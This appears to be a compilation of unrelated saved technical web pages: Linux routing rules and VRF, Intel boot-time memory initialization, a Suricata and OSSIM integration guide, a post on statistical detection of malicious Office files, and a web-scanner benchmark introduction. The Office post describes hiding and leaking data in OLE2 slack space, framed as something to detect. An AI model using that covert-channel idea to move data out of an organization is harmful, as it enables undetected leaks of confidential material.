<img src='img/lpc-trie-rules-2.svg' width='738' height='289' alt='Routing
rules impact on performance' />

Lookup time for a given number of routing rules. Only last routing rule
matches. The first graph uses a logarithmic scale while the second uses a
linear scale. The blue line is a linear regression.

For some reason, the relation is linear when the number of rules is between 1
and 100 but the slope increases noticeably past this threshold. The second
graph highlights the negative impact of the first rule \(about 30 ns\).

A common use of rules is to create **virtual routers** : interfaces are
segregated into domains and when a datagram enters through an interface from
domain _A_ , it should use routing table _A_ :

[code]

    # ip rule add iif vlan457 table 10
    # ip rule add iif vlan457 blackhole
    # ip rule add iif vlan458 table 20
    # ip rule add iif vlan458 blackhole
    
[/code]

The blackhole rules may be removed if you are sure there is a default route in
each routing table. For example, we add a blackhole default with a high metric
to not override a regular default route:

[code]

    # ip route add blackhole default metric 9999 table 10
    # ip route add blackhole default metric 9999 table 20
    # ip rule add iif vlan457 table 10
    # ip rule add iif vlan458 table 20
    
[/code]

To reduce the impact on performance when many interface-specific rules are
used, interfaces can be attached to VRF instances and a single rule can be
used to select the appropriate table:

[code]

    # ip link add vrf-A type vrf table 10
    # ip link set dev vrf-A up
    # ip link add vrf-B type vrf table 20
    # ip link set dev vrf-B up
    # ip link set dev vlan457 master vrf-A
    # ip link set dev vlan458 master vrf-B
    # ip rule show
    0:      from all lookup local
    1000:   from all lookup [l3mdev-table]
    32766:  from all lookup main
    32767:  from all lookup default
    
[/code]

The special `l3mdev-table` rule was automatically added when configuring the
first VRF interface. This rule will select the routing table associated to the
VRF owning the input \(or output\) interface.

VRF was introduced in Linux 4.3 \(commit 193125dbd8eb\), the performance was
greatly enhanced in Linux 4.8 \(commit 7889681f4a6c\) and the special routing
rule was also introduced in Linux 4.8 \(commit 96c63fa7393d, commit
1aa6c4f6b8cd\). You can find more details about it in the kernel
documentation.

# Conclusion

The takeaways from this article are:

  * route lookup times hardly increase with the number of routes,
  * densily packed /32 routes lead to amazingly fast route lookups,
  * memory use is low \(128 MiB par million routes\),
  * no optimization is done on routing rules.

  

  *[ECMP]: Equal Cost Multipath
  *[TSC]: Time Stamp Counter
  *[VRF]: Virtual Routing and Forwarding

# Stealing the shared cache for fun and profit

**Created:**| _10/24/2013 3:08:10 PM_  
---|---  
**Updated:**| _10/24/2013 3:08:45 PM_  
**Author:**| _wishi_  
**Tags:**| _hardware memory-manager cache appsec_  
  
<img src='img/FULLTEXT01.pdf' />

# gist: 704925 - how we can retrieved unassigned objects using gc module in
python- GitHub

**Created:**| _11/18/2010 3:54:12 PM_  
---|---  
**Updated:**| _11/18/2010 3:54:25 PM_  
**Author:**| __  
**Tags:**| _Debugging python programming_  
  

Description: |  how we can retrieved unassigned objects using gc module in python  
---|---  
Public Clone URL: | git://gist.github.com/704925.git Give this clone URL to anyone.  
`git clone git://gist.github.com/704925.git gist-704925`  
Embed All Files: | show embed  
retrieve-unassigned-objects \#

embed

raw

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    
[/code]

|  import socket socket.create\_connection\(\('127.0.0.1', 22\)\)
<socket.\_socketobject object at 0x9022bc4>
s=socket.create\_connection\(\('127.0.0.1', 22\)\) import gc \[ i for i in
gc.get\_objects\(\) if type\(i\) == type\(s\) \] \[<socket.\_socketobject
object at 0x9022bc4>, <socket.\_socketobject object at 0x92a4aac>\] t = \[ i
for i in gc.get\_objects\(\) if type\(i\) == type\(s\) \]\[0\] t
<socket.\_socketobject object at 0x9022bc4>  
---|---

# DA\_q4FLUAAA6Tga.jpg \(1171×1200\)

**Created:**| _5/31/2017 6:23:10 PM_  
---|---  
**Updated:**| _5/31/2017 6:23:10 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

  

<img src='img/Temp2_1788.jpg' width='888' height='911' />

  

# Booting an Intel Architecture System, Part I: Early Initialization | Dr Dobb's
**Created:**| _1/3/2012 4:22:10 PM_  
---|---  
**Updated:**| _1/3/2012 4:22:10 PM_  
**Author:**| __  
**Tags:**| _x86_  
  

# Booting an Intel Architecture System, Part I: Early Initialization

By Pete Dice, December 26, 2011

Post a Comment

The boot sequence today is far more complex than it was even a decade ago.
Here's a detailed, low-level, step-by-step walkthrough of the boot up.  

### Memory Configuration and Initialization

The initialization of the memory controller varies slightly depending on the
DRAM technology and the capabilities of the memory controller itself. The
information on the DRAM controller is proprietary for SOC devices, and in such
cases the initialization Memory Reference Code \(MRC\) is typically supplied
by the vendor. Developers have to contact Intel to request access to the low
level information required. Developers who lack an MRC can utilize a standard
JEDEC initialization sequence for a given DRAM technology. JEDEC refers to the
JEDEC Solid State Technology Association, which was formerly known as the
Joint Electronic Devices Engineering Council. JEDEC is a trade organization
and standards body for the electronics industry.

It is likely that memory configuration will be performed by single-point-of-
entry and single-point-of-exit code that has multiple boot paths contained
within it. It will be 32-bit protected-mode code. Settings for buffer
strengths and loading for a given number of banks of memory are chipset
specific.

There is a very wide range of DRAM configuration parameters, including number
of ranks, eight-bit or 16-bit addresses, overall memory size and
constellation, soldered down or add-in module configurations, page-closing
policy, and power management. Given that most embedded systems populate
soldered-down DRAM on the board, the firmware may not need to discover the
configuration at boot time. These configurations are known as memory-down. The
firmware is specifically built for the target configuration. This is the case
for the Intel reference platform from the Embedded Computing Group. At current
DRAM speeds, the wires between the memory controllers behave like transmission
lines; the SOC may provide automatic calibration and run-time control of
resistive compensation and delay-locked look capabilities. These capabilities
allow the memory controller to change elements such as drive strength to
ensure error-free operation over time and temperature variations.

If the platform supports add-in-modules for memory, it may use any of a number
of standard form factors. The small-outline Dual In-Line Memory Module
\(DIMM\) is often found in embedded systems. The DIMMs provide a serial EPROM
that contains DRAM configuration information known as Serial Presence Detect
\(SPD\) data. The firmware reads the SDP data and subsequently configures the
device. The serial EPROM is connected via the System Management Bus \(SMBus\).
This means the device must be available in the early initialization phase so
the software can establish the memory devices on-board. It is also possible
for memory-down motherboards to incorporate SPD EEPROMs to allow for multiple
and updatable memory configurations that can be handled efficiently by a
single BIOS algorithm. A hard-coded table in one of the MRC files could be
used to implement an EEPROM-less design.

Once the memory controller has been initialized, a number of subsequent
cleanup events take place, including tests to ensure that memory is
operational. Memory testing is now part of the MRC, but it is possible to add
more tests should the design require it. BIOS vendors typically provide some
kind of memory test on a cold boot. Writing custom firmware requires the
authors to choose a balance between thoroughness and speed, as many embedded
and mobile devices require extremely fast boot times. Memory testing can take
considerable time.

If testing is warranted, right after initialization is the time to do it. The
system is idle, the subsystems are not actively accessing memory, and the OS
has not taken over the host side of the platform. Several hardware features
can assist in this testing both during boot and at run-time. These features
have traditionally been thought of as high-end or server features, but over
time they have moved into the client and embedded markets.

One of the most common technologies is error-correction codes. Some embedded
devices use ECC memory, which may require extra initialization. After power-
up, the state of the correction codes may not reflect the contents, and all
memory must be written to. Writing to memory ensures that the ECC bits are
valid and set to the appropriate contents. For security purposes, the memory
may need to be zeroed out manually by the BIOS — or, in some cases, a memory
controller may incorporate the feature into hardware to save time.

Depending on the source of the reset and security requirements, the system may
or may not execute a memory wipe or ECC initialization. On a warm reset
sequence, memory context can be maintained.

If there are memory timing changes or other configuration alterations that
require a reset to take effect, this is normally the time to execute a warm
reset. That warm reset would start the early initialization phase over again.
Affected registers would need to be restored.

From the reset vector, execution starts directly from nonvolatile flash
storage. This operating mode is known as execute-in-place. The read
performance of nonvolatile storage is much slower than the read performance of
DRAM. The performance of code running from flash is therefore much lower than
code executed in RAM. Most firmware is therefore copied from slower
nonvolatile storage into RAM. The firmware is then executed in RAM in a
process known as shadowing.

In embedded systems, the chip typically selects ranges that are managed to
allow the change from flash to RAM execution. Most computing systems execute-
in-place as little as possible. However, some RAM-constrained embedded
platforms execute all applications in place. This is a viable option on very
small embedded devices.

Intel Architecture systems generally do not execute-in-place for anything but
the initial boot steps before memory has been configured. The firmware is
often compressed, allowing reduction of nonvolatile RAM requirements. Clearly,
the processor cannot execute a compressed image in place. There is a trade-off
between the size of data to be shadowed and the act of decompression. The
decompression algorithm may take much longer to load and execute than it would
take for the image to remain uncompressed. Prefetchers in the processor, if
enabled, may speed up execution-in-place. Some SOCs have internal NVRAM cache
buffers to assist in pipelining the data from the flash to the processor.
Figure 3 shows the memory map at initialization in real mode.

<img src='img/Temp2_1126.gif' />

**Figure 3: The Intel Architecture memory map at power-on.**

  

Before memory is initialized, the data and code stacks are held in the
processor cache. Once memory is initialized, the system must exit that special
caching mode and flush the cache. The stack will be transferred to a new
location in main memory and cache reconfigured as part of AP initialization.

The stack must be set up before jumping into the shadowed portion of the BIOS
that is now in memory. A memory location must be chosen for stack space. The
stack will count down so the top of the stack must be entered and enough
memory must be allocated for the maximum stack.

If the system is in real mode, then SS:SP must be set with the appropriate
values. If protected mode is used, which is likely the case following MRC
execution, then SS:ESP must be set to the correct memory location.

This is where the code makes the jump into memory. If a memory test has not
been performed before this point, the jump could very well be to garbage.
System failures indicated by a Power-On Self Test \(POST\) code between "end
of memory initialization" and the first following POST code almost always
indicate a catastrophic memory initialization problem. If this is a new
design, then chances are this is in the hardware and requires step-by-step
debug.

For legacy option ROMs and BIOS memory ranges, Intel chipsets usually come
with memory aliasing capabilities that allow access to memory below 1 MB to be
routed to or from DRAM or nonvolatile storage located just under 4 GB. The
registers that control this aliasing are typically referred to as Programmable
Attribute Maps \(PAMs\). Manipulation of these registers may be required
before, during, and after firmware shadowing. The control over the redirection
of memory access varies from chipset to chipset For example, some chipsets
allow control over reads and writes, while others allow control over reads
only.

For shadowing, if PAM registers remain at default values \(all 0s\), all
Firmware Hub \(FWH\) accesses to the` E` and `F` segments \(`E_0000–F_FFFFh`\)
will be directed downstream toward the flash component. This will function to
boot the system, but is very slow. Shadowing can be used to improve boot
speed. One method of shadowing the `E` and `F` segments of BIOS is to utilize
the PAM registers. This can be done by changing the enables \(`HIENABLE[] `and
`LOENABLE[]`\) to 10 \(write only\). This will direct reads to the flash
device and writes to memory. Data can then be shadowed into memory by reading
and writing the same address. Once BIOS code has been shadowed into memory,
the enables can be changed to read-only mode so memory reads are directed to
memory. This also prevents accidental overwriting of the image in memory.

# Nonlinear blog .: How to use Suricata 1.3 IDP with Unified2 alarms and
AlienVault 4.0 \(OSSIM\)

**Created:**| _12/3/2014 7:07:00 PM_  
---|---  
**Updated:**| _12/3/2014 7:07:00 PM_  
**Author:**| __  
**Tags:**| __  
  

# How to use Suricata 1.3 IDP with Unified2 alarms and AlienVault 4.0
\(OSSIM\)

**What is Suricata ?**  
  
In short: Suricata it's a next-generation high performance open source IDP
engine with many plus respect to other open source solution and I think also
to commercial one.  
  
Suricata is the Open Information Security Foundatation's \(OISF\) Intrusion
Detection and Prevention Engine.  
  
Suricata \( Suri for the friends \) have many improvements and new
functionality in respect to other similar software.  
  
First of all it's was developed as a multi-thread engine from the beginning,
only for that functionality Suricata can be called a next-generation IDP, at
least in the open source softwares as far I know .  
  
Suricata can for example decode TCP, UDP and ICMP as usually do all IDP
software and also HTTP \(with a special purpose HTP library\), TLS, FTP and
Samba version 1 & 2 \!  
  
As input method Suricata can catch packets with a standard raw socket \(
interface in promiscue mode \) or with NFQueue, Pcap and IPFring. The last one
methodologies is created by PF\_RING a type of network socket specially
crafted to improves the packet capture speed.  
  
As output method Suricata have many formats: fast, unified2, http specific
log, pcap-info, pcap-log, alert-debug, alert-prelude, stats, drop, syslog, and
finaly if is not enough, can also extract files from captured streams.  
  
More specifically:

  * **fast log** is a line based alerts log similar to Snort
  * **Unified2** format is coming from Barnyard2, a decoupling software written to allow Snort to minimize log output overhead and so work at full speed. Evolved then in a log output converter to allow many software to inter-operate with this type of log format 
  * **http-log** where all HTTP request details are recorded
  * **pcap-info** log, a simple line based log created to facilitate the correlation of pcap data with suricata's alerts.   
  
An interesting conjunction have been scripted in LUA with a Wireshark's
plugin, SuriWire

  * **pcap-log** format, where all intercepted packets are logged in pcap file, adding a non optional network forensic capability for post alert/incident investigation.   
  
Related to this type of log format there is also a proposed patch that I write
to handle the archiving of pcap file. That patch allow to diversify the path
where pcap file currently under dump are located and where its are moved after
they are closed

  * **alert-debug** format, useful to help in signature writting
  * **alert-prelude** to inter-operate with Prelude SIEM. 
  * **stats** to monitoring the suricata's internal performance . 
  * **syslog** , the standard unix system logging.
  * **drop** a place where to check which packets are dropped in IPS mode.
  * **file** where as mentioned upon, configuration of file extraction functionality option are tweaked.

Ending the section related to the input and output of Suricata there is that
related to the engine which deserve some note.

###  What about the engines ?

A flow stream, obliviously contains a lot of packets.  
  
If you want, for example, track a particular flow stream matching a rule and
report an alert if and only if another rule in the same flow stream is fired,
FlowBits is what you need. FlowBits allow to associate boolean named variable
to the rules and to check that variable allowing to combine their value and
act in agreements with that to select if fire or not a rule.  
  
What to do if you want to check, set and compare that named variable as you do
with FlowBits but in unrelated flow stream ? Simple, use FlowInt \! It
operates like FlowBits but with the addition of mathematical capabilities.
With it an integer can be stored and manipulated, not just a boolean can be
flagged.

###  What about the rules ?

Obliviously in the open source markets there is de-facto standard rule format
and off course, Suricata support it. That mean that it can work natively with
Snort's rule and EmergingThreats .  
  
Suricata have many other functionality and it's evolve really fast. At the
time of write for example there is under development many useful and good
functionality, so, keep an eye on it ;\)

###  What is AlienVault \(OSSIM\) ?

In short: OSSIM by AlienVault is an open source Security Information and Event
Management \(SIEM\), comprising a collection of tools designed to aid network
administrators in computer security, intrusion detection and prevention.  
  
OSSIM is the open source code base of the commercial one version called
AlienVault. If you want to test OSSIM without install and configure it, you
can try the cloud \( Warning: buzz word detect\! \) based demo or download an
x86\_32/64 ISO with a full installer for AlienVault 4.0 already configured and
running.  
  
What I like about OSSIM is off course the wonderful dashboard, full of color
that appears so nice when embedded in power point presentation, so all
managers, from the last one to the highest one in the company pyramid can
enjoy it :\)  
  
Emm :-\) What I really like about that it's the possibility to full integrate
many tools useful to manage in a holistic \( Warning: buzz word detect\! \)
way all the security aspect of the assets in an organization. Despite the
normal SIEM capabilities in fact you can integrate and manage many security
tools that in day to day investigation in a security operation center can bee
useful if not necessary.  
  
Just to mention some core functionality, in addition to the normal SIEM
capability OSSIM have an integrated ticketing system, with that you can easily
manage who need to handle the investigation behind an alert and an associate
knowledge DB to accumulate know how from time to time.  
  
The commercial version have a Raw Logs Parser to handle I think logs from many
sources, I haven't tried it at the moment.  
  
OpenVas integration ? Yes, OSSIM have it. For who don't know what OpenVas is,
reporting directly from the project's home page: _" OpenVAS is a framework of
several services and tools offering a comprehensive and powerful vulnerability
scanning and vulnerability management solution."_  
  
Assets, Assets Search and Asset Discovery _._ OSSIM response to this necessity
with two approaches, a passive one and an active one. For the passive side, at
lest in AlienVault 3.1, with the help of PADS \(Passive Asset Detection
System\), it's collect asset evidence from the network. From the active side,
its manage the reconnaissance with Nmap, that is a standard to manage network
exploration and security / port scanning.  
  
Off course, integrated with OSSIM after you identify what asset do you have,
you can monitoring the availability of all of them with the Nagios
integration. A first class enterprise monitoring tool.  
  
I think OSSIM can offer much more, but to be honest I've not completely
explored the documentation and all it's possibility, what I want just say is
that:  
  
OSSIM, like suricata it's a project that need to be followed ;\)  
  
But now, lets stop to do propaganda\!

###  **How to install Suricata in Ubuntu 10.10**

Ubuntu already have it's own version of suricata, but from my point of view,
it's better to have the last version. So I've installed suricata from scratch
from source.

  1. ####  _First of all, you need to install as root some support libraries._
In my system I need only that libraries:  
  
apt-get install libpcre3-dev libyaml-dev libpcap-dev libcap-ng-dev libmagic-
dev

  2. ####  _Then we need the sources, unpack it, and lets autotools to do its works:_
I've download suricata without checking PGP signatures, then I configure it to
be installed in /opt directory and I made a full installation that
automatically download the last emergin-threats signatures.  
  
As root:  
  
cd /usr/src  
wget https://www.openinfosecfoundation.org/download/suricata-1.3.tar.gz  
tar zxvf suricata-1.3.tar.gz  
cd suricata-1.3  
./configure --prefix=/opt/suricata/ --sysconfdir=/opt/suricata/etc
--localstatedir=/var/  
make install-full

  3. ###  _Professionally speaking now it's time to**READ THE FUCKING MANUALS \!**__:-\)_
The Suricata documentation is in "working in progress" but all the information
available are good enough to start to work with it.  
  
If the documentation available is not enough for you, off course, there is as
all open source project some available mail-list for announce, devel e user
support.

###  **How to install AlienVault 4.0**

For the purpose of this post I've **not installed OSSIM from scratch** but I
used a **Virtual Machine** and I've installed AlienVault 4 in it.  
  
As I say, OSSIM, despite the pure SIEM functionality, is a integration of a
multitude of software and deserve a whole single post to describe how to
install all of it with all necessary steps.  
  
The AlienVault download page made available an X86\_64 installation ISO.  
Installing the system in, for example, VirtualBox machine is straightforward.  
If the installation don't sound simple to you, you can always check the
project documentation page.

###  **How to configure Suricata to produce unified2 alerts**

Short answer: vim /etc/suricata/suricata.yaml ;
<esc>/unified2-alert<enter><j><$><x><x><x><a>yes<esc>:wq<enter>  
It's simple\! isn't it ?  
  
Suricata have many outputs format for its alerts, what we need it's to setup
it to create unified2-alert. When unified2-alert is enable, for each alert a
new file is created with all information encoded in it.  
  
To enable unified2-alert you need:

  1. In the "outputs" section of suricata.yaml find "unified2-alert" section.
  2. Then what you need is to fill the "enabled" variable to yes. 
  3. The variable "filename" specify which prefix all created alert need to have.  
Default value is "unified2.alert" so every alert will be created according and
they filenames will be "unified2.alert.XXXXXXXXXXX" where XXXXXXX it's the
epoch time stamp in seconds.

Another variable that need your interest is "default-log-dir" which behavior
is self explanatory. So basically now Suricata for every alerts create a file
in "default-log-dir" path.

###  **How to configure AlienVault 4.0 to consume unified2 alerts**

Now we need to enable OSSIM unified2 plugin which allow ossim-agent to take
care of unified2 alerts. To do it what we need is the command "alienvault-
setup". Using this perl script you can configure many options of the whole
system with a simple dialog interface.  
  
So, let me see how to do it:  
  
Obliviously execute with root privileges "alienvault-setup"

  1. Select "Change Sensor Settings"
  2. Select "Enable/Disable detector plugins"
  3. Press "s" and scroll down until you find "snortunified"
  4. Press space key to activate it 
  5. Accept that change pressing "OK"
  6. Select "Save and Exit"

Now the script will reconfigure all the necessary component so the whole
collection of software become aware of than change.  
  
Can be useful now to check the config of snortunified plugin in
"/etc/ossim/agent/plugins" in the "snortunified.cfg" file.  
  
As you can imagine, "plugin\_id" entry is the identifier of unified plug-in,
because we already have a snortunified2 plugin active with id 1001 we need to
set it to 1002, so the normal snortunified2 for the eth0 can work regularly
without generating any conflict.  
In the "\[config\]" section we found more options:

  * "directory" options is the full path where unified2 alerts get consumed, in other words is where OSSIM looks to search for unified alerts. I set it with "/var/log/suricata/ and I create it. 
  * "enable" is straightforward and need to be set with yes
  * "interface" are the associated interface where the alerts come from and don't need any change
  * "linklayer" is straightforward too and like interface don't need any change
  * "prefix" remind me to the "filename" option in Suricata, indeed that option is where we fix the prefix name of alerts, so I need to change it according to previous Suricata option, so I set it with "unified2.alert"
  * "process" is the process name associated with the plugin, if you fill it with snort, every time the system don't see the snort process ossim will try to start it with the command specified in "startup" supposing "start" options is fixed with the yes value. Because in my test suricata don't run in the same system where ossim run I don't set it and I leave that option empty
  * "shutdown" like startup is the command called when a stop from the web frontend is requested
  * "stop" specify if the process need to stop when the system will go down 
  * "type" specify the type of plugin 
  * "unified\_version" specify which version of unified data model need to be used, so I put it's value to "2"
  * "source" I hope it's the name of the input source, but I'm not sure of it. I set it with "suricatalog"

Now we need to manually change "/etc/ossim/agent/config.cfg" and in the
\[plugins\] section add
"snortunified=/etc/ossim/agent/plugin/snortunified.cfg" to specify that there
is another plugin that need to run.  
  
Not it's time to restart ossim-agent to allow ossim to become aware of new
unified2 plugin to consume Suricata alerts. To check if all is done grep
"/var/log/ossim/agent.log" and check if you can find somethings that remind to
unified or plugin with id 1002.  
Because we have not fixed the process value in snortunifed.conf what I find
is:

  * plugin \(snortunified\) has unknow state
  * plugin \(snortunified\) is enabled 
  * plugin-enabled plugin\_id="1002"

Now if all is ok, I suppose that if an unified2 alert are moved to
/var/log/suricata ossim will parse it and will create a entry in the web
frontend.  
  
To sync the alerts created from one machine and copy/move it to the OSSIM
machine in "/var/log/suricata" there is a multitude of options available. I
get this occasion to report **incron :: inotify cron system**, as stated in
it's web page  
  
"This program is an "inotify cron" system. It consists of a daemon and a table
manipulator. You can use it a similar way as the regular cron. The difference
is that the inotify cron handles filesystem events rather than time periods."
That tool can be used to activate a script and handle a copy of every new
alert generated from Suricata.

###  **OSSIM rules VS Suricata rules**

A question can arise now: How OSSIM consuming an alert with a specific rule id
coming from Suricata can display the right information in his own front-end ?  
The answer is simple, both Suricata and OSSIM use emerginthreats as rules.  
Supposing an alert from the rule 666 as been created in Suricata, OSSIM parse
that alarm and reference the same evil rule in his subsytem. Obliviously the
rules need to be the same version.  
  
To keep in sync the rules a perl script is provided:
"/usr/share/ossim/scripts/create\_sidmap.pl".  
It's usage is really simple, what you need it's to call it with the path of
the rules directory and then wait for the script parsing all the rules and
updating the internal DB of OSSIM. If you have custom rules and you want OSSIM
to become aware of that, you need to use it.  
Please: if you encounter some error or omission keep in touch with me so I can
fix it.  
  
Enjoy :-\)

# Evilcodecave: Malicious Office - Fast Overview of Cryptanalysis approach and
Covert Channels Detection

**Created:**| _11/13/2010 3:56:05 PM_  
---|---  
**Updated:**| _11/13/2010 3:56:28 PM_  
**Author:**| __  
**Tags:**| _reversing crypto analysis Malware-analysis_  
  

### Malicious Office - Fast Overview of Cryptanalysis approach and Covert
Channels Detection

Hi,  
  
In the previous blog post I explained the usual techniques that can be used to
Detect, Analyze and Carve out Infected OLE2 Files.  
  
The following post, has only the scope of pointing out some alternative an
theoretical aspects of OLE2 file format, I'll give some reflection point and
links if you want go in depth.  
  
Now I'm going to take a fast overview of **Cryptanalysis Methods** , derived
from **Statistical Analysis** to inspect **Compound File Format** , what we
are going to obtain by using Statistical Parsing? :  

  * **Malware Detection Method**
  * **Identification of Anomalities that could reveal Evidences of Covert Channels**

The first point offers an **Alternative way of Detection** , with a
fundamental great advantage, the presence of encryption is suddenly revealed,
and does not perturbate the general look of the plot \(please refer to the
Floating Frequency scheme\).  
  
The second point is directly releated to a particular **Abuse of
Functionality** of office files, I'm talking about **Covert Channel
Communications** that can be enstablished by using a doc file as vector. Like
every FAT FileSystem, OLE2 files could have **Empty Block of Data** and
**Slack Spaces** that can be used to store and successively **Leak Sensitive
Informations**.  
  
The most recurrent scenario is a .doc file which hiddenly contains
**Industrial or Governative Trade Secrets**. When the file vector \(the doc
itself\) is stored for example into an USB PenDrive, this can be trasparently
moved out the Environment where the leak happened, most drammatically
**Without leaving Any Evidence of Data Leak**.  
  
Let's consider the problem from a truly basical point of view, what is an
Infected Document \(can be also a pdf or some other infectable file format\) ?  
  
Basically a Malicious file it's only a Benign file with **Foreign Objects
Dropped Inside** , usually an Executable. This marks a basical difference
between Good versus Malicious files, in the same time this basical aspects
allow us to talk about **Similarity Index** which belongs to B/M files, in
other words this validates the application of **Anomaly Detection Systems** ,
usually referred to dissection and inspection of network traffic.  
  
Now we need an instrument able to **estimate the presence/absence of foreign
elements**. In pure cryptanalytical style and/or Anomaly Detection, we can now
move toward Floating Frequency and Entropy Plot inspection.  
  
The Floating Frequency of a document is a characteristic of its **local
information content at individual points in the document.** The floating
frequency specifies **how many different characters are** to be found in any
given 64-character long segment of the document.  
  
Seems to be exactly what we need, a system to determine position and lenght of
non uniform blocks of data.  
  
Let's see how appear a Benign Word Document file from a floating frequency
point of view:  
  

<img src='img/Temp2_2777.jpg' width='640' height='307' />

  
Next step is to identify univoque characteristics of the plot:  

  1. **We have an starting jump, usually composed by a single line plot**
  2. **Difference distribution, as should be evident is regular and continuous**
  3. **Horizontal red line marks the regularity**

Obviously we have to perform a differentiation, so next step is the analysis
of an infected sample:  
  

<img src='img/Temp2_2778.jpg' width='640' height='268' />

  
The difference with previous plot is truly evident, you can see a more
fragmented trace, with a well defined region that look exactly like an benign
file.  
  
In red ellipses Begin and End of foreign object.  
  
Floating Frequency is not the only system of anomaly detection, there are many
more systems:  

  * n-gram inspection
  * Entropy plot 
  * Autocorrelation
  * Mahanalobis Distance
  * Markov n-grams

Various experimentations can be done by using for example SciPy and NumPy
libraries.  
  
Here two useful pdf that well explain Embedded Malware problem:  

  * **Embedded Malware Detection using Markov n-grams**
  * **SPARSE: A Hybrid System to Detect Malcode-Bearing Documents**

Entropy plot can be obtained by using H\(\) function written by Ero Carrera  
  
\-----------------------------------  

**import math  
  
def H\(data\):  
if not data:  
return 0  
entropy = 0  
for x in range\(256\):  
p\_x = float\(data.count\(chr\(x\)\)\)/len\(data\)  
if p\_x > 0:  
entropy += - p\_x\*math.log\(p\_x, 2\)  
return entropy**

\-----------------------------------  
  
Now let's spend some word on **Covert Chan Problem**.  
  
As previously said Dead Spaces can be used to hiddenly store data that need to
be leaked, the two essential advantages of that operations are:  

  * **Document Rendering is not affected, user can't view any modification to the original text**
  * **Information can be moved without any evidence**
  * **Covert file has the same size of the original**

OLE2 files are usually divided into block of 512bytes and informations are
indexed and stored by managing these blocks as a classical File Allocation
Table, like every FS we will have Slack Space that can be easly understood
from this picture:  
  

<img src='img/Temp2_2776.jpg' width='400' height='105' />

In OLE2 format a slack spaces born when a stream does not terminate exactly at
the 512th byte. Insertion of data in these slack spaces make the whole system
pretty similar to the situation previously seen of Embedded Malware, so we can
apply again **Statistical Parsing Algorithms** to the steganographic case.  
  
Usually information are stored in encrypted form, due to the jump of entropy
caused by encryption process the whole file that contains fragments of
encrypted data will register anomalities into **Byte Frequency Distribution**
, so the first statistical test that can be performed is the **BFD**. The
concept is truly similar to Floating Frequency.  
  
The second usable test is called **Kurtosis** , a measure of the "peakedness"
of the probability distribution of a real-valued random variable. Higher
kurtosis means more of the variance is the result of infrequent extreme
deviations, as opposed to frequent modestly sized deviations.  
  
Here to really interesting works, the first one is a graduation thesis that
exposed in clear way the effective results of statistical inspections, second
link is StegOlè a tool able to scan for slack spaces and covert informations.  
  

  1. **http://digitalcommons.usu.edu/cgi/viewcontent.cgi?article=1140&context=etd**
  2. **http://www.dia.unisa.it/research/mcdff/**

  
With this generical post I wanted only to offer a reference to both Malware
Detection and Steganalysis, in future I'll publish on my code repository \(
**http://bitbucket.org/Evilcry/** \) some python script which uses the
recently seen techniques.  
  
See you to the next post :\)  
Giuseppe 'Evilcry' Bonfa

# Security Tools Benchmarking

**Created:**| _12/27/2010 8:35:47 AM_  
---|---  
**Updated:**| _12/27/2010 8:36:01 AM_  
**Author:**| __  
**Tags:**| _security tools security metrics_  
  

**Web Application Scanners Accuracy Assessment**

**Freeware & Open Source Scanners**

Comparison & Assessment of **43** Free & Open Source Black Box Web Application
Vulnerability Scanners

**_By Shay Chen_**

**_Application Security Consultant_**

http://sectooladdict.blogspot.com/

sectooladdict@gmail.com

**_December 2010_**

**_Assessment Environment:_** WAVSEP 1.0 \(http://code.google.com/p/wavsep/\)

**_Introduction_**

I’ve been collecting them for years, trying to get my hands on anything that
was released within the genre. It started as a necessity, transformed into a
hobby, and eventually turned into a relatively huge collection… But that’s
when the problems started.

While back in 2005 I could barely find freeware web application scanners, by
2008 I had SO MANY of them that I couldn’t decide which ones to use. By 2010
the collection became so big that I came to the realization that I HAVE to
choose.

I started searching for benchmarks in the field, but at the time, only located
benchmarks the focused on comparing commercial web application scanners \(with
the exception of one benchmark that also covered 3 open source web application
scanners\), leaving the freeware & open source scanners in an uncharted
territory;

  * · http://www.virtualforge.de/index.php/en/library/white-papers/web-application-vulnerability-scanners-a-benchmark\_en.html \(Anonymous scanners\)
  * · http://anantasec.blogspot.com/2009/01/web-vulnerability-scanners-comparison.html \(commercial scanners\)
  * · http://www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf \(mostly commercial, but including W3AF, paros and grendel-scan\)
  * · http://ha.ckers.org/files/Accuracy\_and\_Time\_Costs\_of\_Web\_App\_Scanners.pdf \(commercial scanners\)

By 2010 I had over 50 tools, so I eventually decided to test them myself using
the same model used in previous benchmarks \(**a big BIG mistake**\).

I initially tested the various tools against a vulnerable ASP.net web
application and came to conclusions as to which tool is the “best”… and if it
weren’t for my curiosity, that probably would have been the end of it and my
conclusions might have mislead many more.

I decided to test the tools against another vulnerable web application, just
to make sure the results were consistent, and arbitrarily selected “**Insecure
Web App** ” \(a vulnerable JEE web application\) as the second target… and to
my surprise, the results of the tests against it were VERY different.

Some of the Tools that were efficient in the test against the vulnerable
ASP.net application \(which will stay anonymous for the time being\) didn’t
function very well and missed many exposures, while some of the tools that I
previously classified as “useless” detected exposures that NONE of the other
tools found.

After performing an in-depth analysis for the different vulnerabilities in the
tested applications, I came to the conclusion that although the applications
included a similar classification of exposures \(SQL Injection, RXSS,
Information disclosure, etc\), the properties and restrictions in the exposure
instances were VERY different in each application.

That’s when it dawned on me that the different methods that tools use to
discover security exposures might be efficient for detecting certain common
instances of a vulnerability while simultaneously being inefficient for
detecting other instances of the same vulnerability, and that tools with
“lesser” algorithms or different approaches \(which might appear to be less
effective at first\) might be able to fill the gap.

So the question remains… Which tool is the best? Is there one that surpasses
the others? Can there be only one?

I decided to find out…

It started as a bunch of test cases, and ended as a project containing
hundreds of scenarios \(currently focusing on Reflected XSS and SQL
Injection\) that will hopefully help in unveiling the mystery.

\(A PDF version of this benchmark will be available shortly in the WAVSEP
project home page at http://code.google.com/p/wavsep/\)

**_Thank-You Note_**

Before I’ll describe project WAVSEP and the results of the first scanner
benchmark performed using it, I’d like to thank all the tool developers and
vendors that shared freeware & open source tools with the community over the
years; if it weren’t for the long hours they’ve invested and the generosity
they had to share their creations, then my job \(and that of others in my
profession\) would have been much harder.

I’d like to express my sincere gratitude for Shimi Volkovich
\(http://il.linkedin.com/pub/shimi-volkovich/20/173/263\), for taking the time
to design the logo I’ll soon be using.

I would also like to thank all the sources that helped me gather the list of
scanners over the years, including \(but not limited to\) information security
sources such as **PenTestIT** \(http://www.pentestit.com/\), **Security
Sh3ll** \(http://security-sh3ll.blogspot.com/\), **Security Database**
\(http://www.security-database.com/\), **Darknet**
